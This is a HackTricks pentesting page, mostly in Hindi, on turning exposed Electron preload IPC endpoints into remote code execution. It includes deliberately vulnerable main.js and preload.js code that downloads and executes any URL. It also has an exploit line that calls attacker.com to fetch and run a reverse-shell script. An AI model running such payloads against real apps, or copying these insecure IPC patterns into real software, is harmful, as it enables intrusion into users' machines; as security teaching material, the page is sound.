Electron contextIsolation RCE via IPC

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

यदि प्रीलोड स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।

इनमें से अधिकांश उदाहरण यहाँ से लिए गए थे https://www.youtube.com/watch?v=xILfQGkLXQo. आगे की जानकारी के लिए वीडियो देखें।

Example 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 से उदाहरण (आपके पास उन स्लाइड में MS Teams के XSS से RCE का पूरा उदाहरण है, यह सिर्फ एक बहुत बुनियादी उदाहरण है):

Example 1

चेक करें कि main.js getUpdate पर कैसे सुनता है और किसी भी URL को डाउनलोड और निष्पादित करेगा।
यह भी चेक करें कि preload.js मुख्य से किसी भी IPC इवेंट को कैसे उजागर करता है।

// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

शोषण:

<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

उदाहरण 2

यदि प्रीलोड स्क्रिप्ट सीधे रेंडरर को shell.openExternal कॉल करने का एक तरीका प्रदान करती है, तो RCE प्राप्त करना संभव है।

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

Example 3

क्या प्रीलोड स्क्रिप्ट मुख्य प्रक्रिया के साथ पूरी तरह से संवाद करने के तरीके प्रदान करती है, तो एक XSS किसी भी घटना को भेजने में सक्षम होगा। इसका प्रभाव इस पर निर्भर करता है कि मुख्य प्रक्रिया IPC के संदर्भ में क्या प्रदान करती है।

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें